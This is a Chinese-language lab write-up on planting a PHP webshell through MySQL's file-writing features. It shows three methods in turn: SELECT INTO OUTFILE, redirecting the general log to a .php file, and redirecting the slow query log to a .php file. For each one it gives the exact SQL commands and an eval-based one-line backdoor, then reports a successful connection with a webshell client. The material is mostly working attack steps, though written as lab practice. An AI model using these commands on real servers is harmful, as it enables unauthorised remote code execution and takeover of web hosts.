一、实验原理
利用MySql文件导出机制,由于未对文件导出路径进行限制,从而可以利用secure_file_priv参数、日志、慢日志等导出含带恶意代码的PHP文件,获取webshell。
二、环境搭建
在Windows系统中,可在PhpStady的mysql.ini文件中,进行查看
如果没有,可手动添加secure_file_priv=‘’
secure_file_priv参数如果为‘ ’表名允许任意导出即两个单引号之间什么都不打
在Linu系统中
secure_file_priv参数如果为null表名不允许导出
实验成功还有一个要求
当前mysql用户是否为root,必须知道web的绝对路径
三、实验一
1、实验目的
利用secure_file_priv参数未限制导出路径,实现webshell的获取
2、实验流程
1)打开PhpStady自带的Mysql Front
2)输入命令,点击执行
select 1,'<?=eval($_POST["X"])?>' into outfile "D:\\phpstudy_pro\\WWW\\qqq.php";
查看生成的PHP文件
打开网页进行文件是否能成功执行木马文件
能成功执行木马文件
连接中国蚁剑
四、实验二
1、实验目的
general_log_file为日志存储路径,mysql未限制日志文件后缀,故可伪造php后缀为日志文件,从而利用数据库日志文件导出路径,实现webshell的获取。
2、实验流程
1)查看当前数据库操作日志的配置,查看general_log为日志实时记录是否开启
showvariableslike"%general%"
未开启
开启general_log
分别执行以下语句
setGLOBAL general_log=on
setGLOBAL general_log_file="D:\\phpstudy_pro\\WWW\\log.php"
注:该操作需要mysql能够在中间件文件夹内创建文件
再查看general_log是否打开
开启记录后每一条sql执行语句都会被记录
4)此时输出恶意语句,同样会被记录在日志文件中
select'<?=eval($_POST["X"])?>'
成功被记录在日志文件中
执行代码
木马植入成功
五、实验三
1、实验目的
由于设计的特性,当数据库命令执行响应超时,该执行的命令就会被记录在慢日志中
利用慢日志(slow_query_log)导出路径,实现webshell的获取。
2、实验流程
1)查看当前数据库操作日志的配置,查看slow_query_log慢日志实时记录是否开启
showvariableslike"%slow%"#配置是否开启
showvariableslike"%long_query_time%"#查看慢日志超时记录的时间
2)开启slow_query_log配置
setGLOBAL slow_query_log=on#开启slow_query_log配置
setGLOBAL slow_query_log_file="D:\\phpstudy_pro\\WWW\\slowlog.php";#生成日志文件
select'<?=eval($_POST["X"])?>',sleep(13);#插入木马
执行木马文件
执行成功